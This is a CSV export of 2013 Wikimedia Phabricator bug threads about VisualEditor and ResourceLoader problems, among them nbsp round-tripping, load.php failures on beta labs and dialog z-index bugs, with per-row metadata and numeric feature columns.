233185,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,Chrome Version 27.0.1453.116 on Windows 7 Home Premium.,,,1372412479,,PHID-USER-j5ma2nageni56xp567v5,True,,,PHID-TASK-77axhndq3mqnxx2kqcjc,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,56.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,11.0,56.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,Chrome Version 27.0.1453.116 on Windows 7 Home Premium.
233178,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,Will inquire.,,,1372386501,,PHID-USER-ttyyrgsrkyonct7hizgv,True,,,PHID-TASK-77axhndq3mqnxx2kqcjc,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Will inquire.
233171,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,Do you know which browser was used for this edit?,,,1372386315,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-77axhndq3mqnxx2kqcjc,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,Do you know which browser was used for this edit?
233164,VisualEditor: &nbsp;s converted to space characters (32s not 160s) on round-trip,Odd. I can't reproduce this locally or on the article.,,,1372386209,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-77axhndq3mqnxx2kqcjc,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,15.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4615384615384617,0.9230769230769231,Odd. I can't reproduce this locally or on the article.
52264,load.php error?  many symptoms...,"Log in to beta labs: 

No navigation arrows exist in FF or Chrome

Special:Preferences shows no tabs

No links to VE exists even when Preferences are set

In regular editor, no controls appear

A number of pages e.g. user page show error Uncaught ReferenceError: mw is not defined load.php:1

--------------------------
**Version**: unspecified
**Severity**: critical",Unbreak Now!,100.0,1372290900,1372325082.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-y6bkvqygqya2opqdmv3c,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,3.0,1.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,19.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.1688311688311686,0.7142857142857143,"Log in to beta labs: 

No navigation arrows exist in FF or Chrome

Special:Preferences shows no tabs

No links to VE exists even when Preferences are set

In regular editor, no controls appear

A number of pages e.g. user page show error Uncaught ReferenceError: mw is not defined load.php:1

--------------------------
**Version**: unspecified
**Severity**: critical"
254099,load.php error?  many symptoms...,Ah it seems the cached load.php got cleared finally.   I got AFT and VisualEdit working properly now :-],,,1372325082,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.35,0.95,Ah it seems the cached load.php got cleared finally.   I got AFT and VisualEdit working properly now :-]
254093,load.php error?  many symptoms...,"AFT, VisualEditor are now working when passing ?debug=true to the URL (which bypass resourceloader cache).

I have no idea how to clear the resource loader cache though :(",,,1372324986,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,11.0,8.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,8.0,3.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,6.0,0.0,0.0,0.0,4.027777777777778,0.9166666666666666,"AFT, VisualEditor are now working when passing ?debug=true to the URL (which bypass resourceloader cache).

I have no idea how to clear the resource loader cache though :("
254086,load.php error?  many symptoms...,Changes above reverts the two patches mentionned in bug 45918.,,,1372324616,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.818181818181818,1.0,Changes above reverts the two patches mentionned in bug 45918.
254080,load.php error?  many symptoms...,Related URL: https://gerrit.wikimedia.org/r/70806 (Gerrit Change Ie373d1f407788a8e2456c3d8a34cc79ac9ed8bb6),,,1372324322,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie373d1f407788a8e2456c3d8a34cc79ac9ed8bb6)
254073,load.php error?  many symptoms...,Related URL: https://gerrit.wikimedia.org/r/70805 (Gerrit Change I02ed22e324435e362cabdfc67e69c224ad9e2550),,,1372324295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I02ed22e324435e362cabdfc67e69c224ad9e2550)
254067,load.php error?  many symptoms...,"In the exception.log I also got a bunch of:


2013-06-26 22:39:51 deployment-jobrunner08 aawiki: [ff75b05a] [no req]   Exception from line 32 of /data/project/apache/common-local/php-master/extensions/MwEmbedSupport/MwEmbedResourceManager.php: MwEmbedResourceManager::register not given readable path: extensions/TimedMediaHandler/MwEmbedModules/EmbedPlayer


It seems the issue is caused by https://gerrit.wikimedia.org/r/#/c/69479/ ""Register resources with absolute path""  which is intended to fix bug 45918 ""MwEmbedSupport doesn't work with non standard layouts""",,,1372323805,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,2.5,6.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.5,1.0,0.5,0.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,13.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.5,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,3.5,0.0,1.5,6.0,4.5,0.0,4.0,0.0,1.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,2.0,4.656862745098039,0.7647058823529411,"In the exception.log I also got a bunch of:


2013-06-26 22:39:51 deployment-jobrunner08 aawiki: [ff75b05a] [no req]   Exception from line 32 of /data/project/apache/common-local/php-master/extensions/MwEmbedSupport/MwEmbedResourceManager.php: MwEmbedResourceManager::register not given readable path: extensions/TimedMediaHandler/MwEmbedModules/EmbedPlayer


It seems the issue is caused by URL ""Register resources with absolute path""  which is intended to fix bug 45918 ""MwEmbedSupport doesn't work with non standard layouts"""
254061,load.php error?  many symptoms...,"exception 'MWException' with message 'ResourceLoaderFileModule::readScriptFiles: script file not found: ""/usr/local/apache/common-local/php-master/er/extensions/MwEmbedSupport/MwEmbedModules/MediaWikiSupport/MediaWikiSupport.loader.js""' in /data/project/apache/common-local/php-master/includes/resourceloader/ResourceLoaderFileModule.php:574",,,1372294623,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.32258064516129,0.5161290322580645,"exception 'MWException' with message 'ResourceLoaderFileModule::readScriptFiles: script file not found: ""/usr/local/apache/common-local/php-master/er/extensions/MwEmbedSupport/MwEmbedModules/MediaWikiSupport/MediaWikiSupport.loader.js""' in /data/project/apache/common-local/php-master/includes/resourceloader/ResourceLoaderFileModule.php:574"
254057,load.php error?  many symptoms...,"not a blocker, sorry, mw.o is a workaround",,,1372294116,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8,"not a blocker, sorry, mw.o is a workaround"
254054,load.php error?  many symptoms...,"This also breaks Wikilove on beta. 

In about 24 hours I will be giving a training session at WMF for 50 people about browser test automation that I had intended to do with Wikilove on beta labs.  

While I could move the demo to mw.o instead, that would be less than ideal.",,,1372293962,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-y6bkvqygqya2opqdmv3c,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,19.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,17.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,3.0,16.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,5.0,19.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,3.8448275862068964,0.8103448275862069,"This also breaks Wikilove on beta. 

In about 24 hours I will be giving a training session at WMF for 50 people about browser test automation that I had intended to do with Wikilove on beta labs.  

While I could move the demo to mw.o instead, that would be less than ideal."
52259,VisualEditor: Silent clean-up of untouched references and templates,"I made a grammar fix (one word), and did not check the differences before saving. Mistake! :) 

http://en.wikipedia.org/w/index.php?title=Abdullah_of_Saudi_Arabia&diff=prev&oldid=561571041

It looks like all it did was sanitize the templates, which isn't the worst thing on earth, but it's hard to verify that was all that happened (especially for a non-expert). 

No recommended fix, exactly, but perhaps something to consider.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1372281720,1372294327.0,PHID-USER-kqwh3rvfxxh3wfsft7mu,True,,False,PHID-TASK-d2rlcey47hxosbomhyfo,task_description,resolved,True,c1,2,False,False,True,-1,,2.0,1.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,6.0,1.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,7.0,0.0,3.0,10.0,0.0,1.0,1.0,0.0,4.0,0.0,1.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,1.0,0.0,1.0,0.0,3.6979166666666665,0.6770833333333334,"I made a grammar fix (one word), and did not check the differences before saving. Mistake! :) 

URL

It looks like all it did was sanitize the templates, which isn't the worst thing on earth, but it's hard to verify that was all that happened (especially for a non-expert). 

No recommended fix, exactly, but perhaps something to consider.

--------------------------
**Version**: unspecified
**Severity**: normal"
253805,VisualEditor: Silent clean-up of untouched references and templates,"Yeah, this is a quite bad problem to have. Thankfully, we believe that the majority of these issues have now been fixed (since that edit of yours) - so I'm going to mark this as fixed. There are no-doubt other issues we've yet to spot, but we've fixed this one. :-) Sorry for the inconvenience!",,,1372294327,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-d2rlcey47hxosbomhyfo,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,6.0,0.0,7.0,13.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,12.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,3.0,1.0,13.0,0.0,1.0,1.0,0.0,4.0,3.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.4782608695652173,0.7246376811594203,"Yeah, this is a quite bad problem to have. Thankfully, we believe that the majority of these issues have now been fixed (since that edit of yours) - so I'm going to mark this as fixed. There are no-doubt other issues we've yet to spot, but we've fixed this one. :-) Sorry for the inconvenience!"
52246,VisualEditor: Be able to have enabled for all logged-in users but not anonymous users,"For deployment purposes, we will want VisualEditor to be enabled for all logged-in users but not anonymous ones; to do this, we'll probably just fail in VisualEditor.hooks.php#onBeforePageDisplay() if they're anonymous, according to Roan.

--------------------------
**Version**: unspecified
**Severity**: trivial",Unbreak Now!,100.0,1372267200,1372726673.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4qadhatjuo4mjlpfaic7,task_description,resolved,True,c1,2,True,False,True,-1,,2.0,0.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.0,13.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.5,0.7419354838709677,"For deployment purposes, we will want VisualEditor to be enabled for all logged-in users but not anonymous ones; to do this, we'll probably just fail in VisualEditor.hooks.php#onBeforePageDisplay() if they're anonymous, according to Roan.

--------------------------
**Version**: unspecified
**Severity**: trivial"
253157,VisualEditor: Be able to have enabled for all logged-in users but not anonymous users,We achieved this. Obviously. :-),,,1372726673,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4qadhatjuo4mjlpfaic7,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8571428571428571,We achieved this. Obviously. :-)
52241,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook","Screenshot

See screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11809}",Unbreak Now!,100.0,1372263180,1372340043.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_description,resolved,True,c1,2,False,False,True,-1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.5151515151515151,"Screenshot

See screenshot.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11809}"
252937,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook","Change 70851 merged by jenkins-bot:
Make local overlays local to surface and remove insane z-indexes

https://gerrit.wikimedia.org/r/70851",,,1372794337,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.304347826086956,0.9130434782608695,"Change 70851 merged by jenkins-bot:
Make local overlays local to surface and remove insane z-indexes

GERRIT_URL"
252931,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook","Change 70851 had a related patch set uploaded by Robmoen:
Make local overlays local to surface and remove insane z-indexes

https://gerrit.wikimedia.org/r/70851",,,1372354311,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.461538461538462,0.9615384615384616,"Change 70851 had a related patch set uploaded by Robmoen:
Make local overlays local to surface and remove insane z-indexes

GERRIT_URL"
252924,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook","Appears to be now fixed; marking as resolved. Thanks, Rob! :)",,,1372340043,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,20.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.4,1.0,"Appears to be now fixed; marking as resolved. Thanks, Rob! :)"
252916,"VisualEditor: Dialogs, inspector menu, link inspector etc. appear behind the document in Monobook",Rob's working on re-doing our z-indexes and inheritance right now.,,,1372269443,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yb6ulq67lztw2wvyk4lu,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,3.5625,0.9375,Rob's working on re-doing our z-indexes and inheritance right now.
